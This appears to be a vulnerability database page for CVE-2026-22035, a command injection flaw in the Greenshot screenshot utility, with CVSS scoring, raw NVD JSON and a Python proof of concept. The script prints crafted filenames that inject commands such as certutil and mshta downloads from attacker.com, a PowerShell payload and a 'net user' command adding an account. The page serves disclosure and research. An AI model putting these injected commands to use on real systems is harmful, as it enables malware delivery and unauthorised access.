Security Vulnerability Report
中文
CVE-2026-22035 CVSS 7.7 HIGH

CVE-2026-22035

Published: 2026-01-08 01:15:56
Last Modified: 2026-01-27 19:11:58

Description

Greenshot is an open source Windows screenshot utility. Versions 1.3.310 and below arvulnerable to OS Command Injection through unsanitized filename processing. The FormatArguments method in ExternalCommandDestination.cs:269 uses string.Format() to insert user-controlled filenames directly into shell commands without sanitization, allowing attackers to execute arbitrary commands by crafting malicious filenames containing shell metacharacters. This issue is fixed in version 1.3.311.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:getgreenshot:greenshot:*:*:*:*:*:*:*:* - VULNERABLE
Greenshot < 1.3.311

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22035 PoC - Greenshot Command Injection # Version affected: Greenshot <= 1.3.310 # Fixed in: Greenshot 1.3.311 import os import sys def create_malicious_filename(): """ Create a malicious filename with shell metacharacters to exploit CVE-2026-22035 in Greenshot """ # Shell metacharacters for command injection # Using semicolon to chain commands malicious_names = [ 'screenshot.png;whoami > C:\\temp\\pwned.txt', 'screenshot.png|certutil.exe -urlcache -split -f http://attacker.com/malware.exe', 'screenshot.png`calc.exe`', 'screenshot.png$(powershell -e base64encoded_payload)', 'screenshot.png&&net user attacker P@ssw0rd /add', 'screenshot.png||mshta.exe http://attacker.com/evil.hta' ] return malicious_names def generate_payload(): """ Generate example malicious payload This would create a reverse shell or execute arbitrary code """ payload = ''' # Example: Create a file with execution result # In real attack, this could be: # - Reverse shell connection # - Malware download and execution # - Privilege escalation # - Data exfiltration import os cmd = 'calc.exe' # Simple proof of concept os.system(cmd) ''' return payload def main(): print("CVE-2026-22035 - Greenshot Command Injection PoC") print("=" * 50) print("\nAffected Versions: Greenshot <= 1.3.310") print("Fixed Version: Greenshot 1.3.311") print("\nVulnerable Code Location:") print(" ExternalCommandDestination.cs:269") print(" FormatArguments() method") print("\nMalicious Filenames:") for name in create_malicious_filename(): print(f" - {name}") print("\nNote: User interaction required to save/export screenshot") print("with crafted filename through Greenshot application.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22035", "sourceIdentifier": "[email protected]", "published": "2026-01-08T01:15:55.847", "lastModified": "2026-01-27T19:11:58.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Greenshot is an open source Windows screenshot utility. Versions 1.3.310 and below arvulnerable to OS Command Injection through unsanitized filename processing. The FormatArguments method in ExternalCommandDestination.cs:269 uses string.Format() to insert user-controlled filenames directly into shell commands without sanitization, allowing attackers to execute arbitrary commands by crafting malicious filenames containing shell metacharacters. This issue is fixed in version 1.3.311."}, {"lang": "es", "value": "Greenshot es una utilidad de captura de pantalla de código abierto para Windows. Las versiones 1.3.310 e inferiores son vulnerables a la inyección de comandos del sistema operativo a través del procesamiento de nombres de archivo no saneados. El método FormatArguments en ExternalCommandDestination.cs:269 utiliza string.Format() para insertar nombres de archivo controlados por el usuario directamente en comandos de shell sin saneamiento, lo que permite a los atacantes ejecutar comandos arbitrarios al crear nombres de archivo maliciosos que contienen metacaracteres de shell. Este problema está corregido en la versión 1.3.311."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgreenshot:greenshot:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.3.311", "matchCriteriaId": "964FCC5B-97DF-4775-B17B-8E1FB673B863"}]}]}], "references": [{"url": "https://github.com/greenshot/greenshot/commit/5dedd5c9f0a9896fa0af1d4980d875a48bf432cb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/greenshot/greenshot/releases/tag/v1.3.311", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/greenshot/greenshot/security/advisories/GHSA-7hvw-q8q5-gpmj", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/greenshot/greenshot/security/advisories/GHSA-7hvw-q8q5-gpmj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}